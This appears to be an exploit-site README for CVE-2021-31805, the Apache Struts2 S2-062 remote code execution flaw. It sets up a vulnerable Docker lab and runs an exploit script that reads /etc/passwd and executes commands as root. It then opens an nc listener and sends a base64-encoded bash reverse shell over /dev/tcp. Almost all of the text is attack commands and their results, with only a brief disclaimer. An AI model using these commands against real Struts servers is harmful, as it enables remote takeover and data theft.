Exploit for Expression Language Injection in Apache Struts

## https://sploitus.com/exploit?id=10247571-B332-5BEB-BEDA-E9B11C9E79CC
# Struts2_S2-062_CVE-2021-31805  
Apache Struts2 S2-062 remote code execution vulnerability (CVE-2021-31805) | Shell reverse engineering  
# Vulnerability demonstration environment  

**docker-compose.yml**  
```yaml
version: '2'
services:
  struts2:
    image: vulhub/struts2:2.5.25
    ports:
      - "8080:8080"
```
**Pull the image and start the environment:**  
```bash
docker-compose up -d
```
**Access address:** http://1.1.1.1:8080  
# Vulnerability verification script  
```bash
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action "cat /etc/passwd"
```
![passwd](./images/passwd.png)  
```bash
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action whoami
```
![root](./images/root.png)  
```bash
python Struts2_S2-062_CVE-2021-31805.py http://1.1.1.1:8080/index.action id
```
![id](./images/id.png)  
# Shell reverse engineering  
## Listening on port 8081  
```bash
nc -lvvp 8081
```
![NC](./images/NC.png)  
### Creating a base64-encoded reverse-shell script using a generator website: https://ir0ny.top/pentest/reverse-encoder-shell.html  
![base64](./images/base64.png)  
## Obtaining the shell  
```bash
python CVE-2021-31805_Shell.py http://1.1.1.1:8080/index.action "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
```
![shell](./images/shell.png)  
## Successfully obtaining the shell  
![Shell_code](./images/Shell_code.png)  
# Disclaimer  
Do not use this for illegal purposes; it is only for security testing purposes. Any consequences are not related to this project. Note: Test the site under proper authorization. Poor design leads to tears.